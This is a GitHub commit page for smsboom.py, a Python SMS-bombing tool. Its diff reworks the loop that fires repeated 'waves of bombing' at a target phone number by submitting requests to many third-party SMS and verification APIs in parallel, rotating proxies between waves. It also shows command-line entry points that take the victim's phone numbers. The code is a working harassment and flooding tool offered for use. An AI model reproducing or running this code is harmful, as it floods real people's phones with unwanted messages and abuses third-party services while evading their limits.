Skip to content

Commit

Permalink
🐞 fix: 被改的太tm乱了
Browse files Browse the repository at this point in the history
  • Loading branch information
WhaleFell committed Jun 23, 2022
1 parent 32b72dd commit ab73ef2
Showing 1 changed file with 5 additions and 12 deletions.
17 changes: 5 additions & 12 deletions smsboom.py
Original file line number Diff line number Diff line change
Expand Up @@ -106,25 +106,20 @@ def run(thread: int, phone: Union[str, tuple], frequency: int):
logger.success(f"第{i}波轰炸开始!")
_process = ''
for proxy in _proxies:
logger.success(f"第{i}波轰炸 - 当前正在使用代理:"+proxy['all://']+" 进行轰炸...")
logger.success(f"第{i}波轰炸 - 当前正在使用代理:" +
proxy['all://']+" 进行轰炸...")
# 不可用的代理或API过多可能会影响轰炸效果
# for api_get in _api_get:
# _process = pool.submit(reqFunc, api_get, phone, proxy)
for api in _api:

pool.submit(reqFunc, api, phone)
for api_get in _api_get:
pool.submit(reqFunc, api_get, phone)
logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....")
time.sleep(interval)
_process = pool.submit(reqFunc, api_get, phone, proxy)
# logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....")
# time.sleep(interval)
else:
for api in _api:
pool.submit(reqFunc, api, phone)
for api_get in _api_get:
pool.submit(reqFunc, api_get, phone)



@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
@click.command()
def asyncRun(phone):
Expand All @@ -134,7 +129,6 @@ def asyncRun(phone):

apis = _api + _api_get


loop = asyncio.get_event_loop()
loop.run_until_complete(runAsync(apis, phone))

Expand All @@ -148,7 +142,6 @@ def oneRun(phone):

apis = _api + _api_get


for api in apis:
try:
reqFunc(api, phone)
Expand Down

0 comments on commit ab73ef2

Please sign in to comment.